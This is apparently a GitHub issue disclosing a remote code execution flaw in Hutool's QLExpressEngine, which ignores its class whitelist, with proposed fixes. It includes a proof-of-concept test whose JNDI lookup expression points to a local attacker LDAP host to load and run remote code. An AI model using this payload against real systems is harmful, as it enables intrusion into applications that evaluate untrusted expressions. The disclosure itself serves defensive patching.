Skip to content

Remote Code Execution (RCE) vulnerability disclosure in hutool #3994

@adv851

Description

@adv851

Summary

The QLExpressEngine is one of the expression engines used in Hutool. However, Hutool uses it to evaluate expressions without sufficient security protections. As a result, attackers can craft malicious expressions that lead to arbitrary method invocation and potentially remote code execution (RCE).

Note: This vulnerability is different from the previously reported expression injection vulnerability (#2950). These are two distinct expression evaluation engines. The earlier issue involved a different engine MvelEngine, and the allowlist-based mitigation introduced at that time does not apply to QLExpressEngine—in fact, the allowlist was not used in this context.

Vulnerable Code

First, in ExpressionUtil, parameters are not verified before untrusted data is passed into QLExpressEngine.eval.

public class ExpressionUtil {
    public static Object eval(String expression, Map<String, Object> context, Collection<Class<?>> allowClassSet) {
        return getEngine().eval(expression, context, allowClassSet);
    }
}

public class QLExpressEngine implements ExpressionEngine {
    private final ExpressRunner engine;
    public QLExpressEngine() {
        engine = new ExpressRunner(); // Default: blacklist mode (can be bypassed)
    }
    @Override
    public Object eval(final String expression, final Map<String, Object> context, Collection<Class<?>> allowClassSet) {
        DefaultContext<String, Object> defaultContext = new DefaultContext<>();  // !!! allowClassSet is not applied here
        defaultContext.putAll(context);
        try {
            return engine.execute(expression, defaultContext, null, true, false); // sink 
        } ...
    }
}

Second, in the above code, the allowClassSet parameter (a user-specified class whitelist) is never passed to engine.execute(). Consequently, class or method outside the default blacklist (can be bypassed) referenced in the expression is effectively allowed. Hutool’s documentation even specifies allowClassSet as the “allowed Class whitelist” for this API, implying it should restrict execution to safe classes. However, it is simply ignored . This means an attacker can inject calls to dangerous APIs (e.g. JNDI lookups, Runtime.exec, etc.).

Exploitation (Proof of Concept)

The following code demonstrates the vulnerability (tested on macOS with JDK 8u111):

hutool version: 5.8.39 (v5-master)

@Test
public void QLExpressTest() {
    String expression = "javax.naming.InitialContext.doLookup(\"ldap://[127.0.0.1:8087/Evil\](http://127.0.0.1:8087/Evil)")";
    // We tested with the strictest allowlist configuration, and the results indicate that the allowlist mechanism did not take effect when using the QLExpressEngine.
    HashSet<Class<?>> allowedSet = new HashSet<>();
    allowedSet.add(String.class);  

   // Evaluate the expression. Despite the whitelist, the expression will execute.
    ExpressionUtil.eval(expression, new HashMap<>(), allowedSet);
}
Attacker environment setup and lauch an attack

Deploying an HTTP server in the directory containing the malicious file.

Image

Attack Impact

Remote code execution.

Image

Mitigation and Recommended Fix
To fix this vulnerability, the evaluation of user-provided expressions must be strictly constrained. Specifically:

Enhance the security posture of your QLExpressEngine by enforcing a stricter blacklist for method invocation. In your constructor, enable prevention of dangerous calls and explicitly blacklist known risky methods, such as JNDI lookups in InitialContext:

         public class QLExpressEngine implements ExpressionEngine {
             private final ExpressRunner engine;
             public QLExpressEngine() {
                engine = new ExpressRunner();
        +      // Enforce blacklisting of high-risk method invocations
        +      QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
        +      // Explicitly forbid JNDI lookup calls through InitialContext
        +      QLExpressRunStrategy.addSecurityRiskMethod(InitialContext.class, "doLookup");
           }
        }

Configure QLExpress to use an explicit whitelist of permitted classes and methods. For example, use QLExpressRunStrategy to turn on whitelist mode (QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true)) and call QLExpressRunStrategy.addSecureMethod(...) or addIncludeList(...) to allow only safe APIs. In other words, supply a valid allowClassSet to the engine or use QLExpress’s secure-strategy APIs so that only approved classes can be referenced. The QLExpress documentation explicitly states that blacklist mode is only safe for trusted inputs and that untrusted input should use whitelist mode.

	@Override
	public Object eval(final String expression, final Map<String, Object> context, Collection<Class<?>> allowClassSet) {
+		for (Class<?> clazz : allowClassSet) {
+			for (Method method : clazz.getDeclaredMethods()) {
+				QLExpressRunStrategy.addSecureMethod(clazz, method.getName());
+			}
+		}
		final DefaultContext<String, Object> defaultContext = new DefaultContext<>();
		defaultContext.putAll(context);
		try {
			return engine.execute(expression, defaultContext, null, true, false);
		} catch (final Exception e) {
			throw new ExpressionException(e);
		}
	}

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions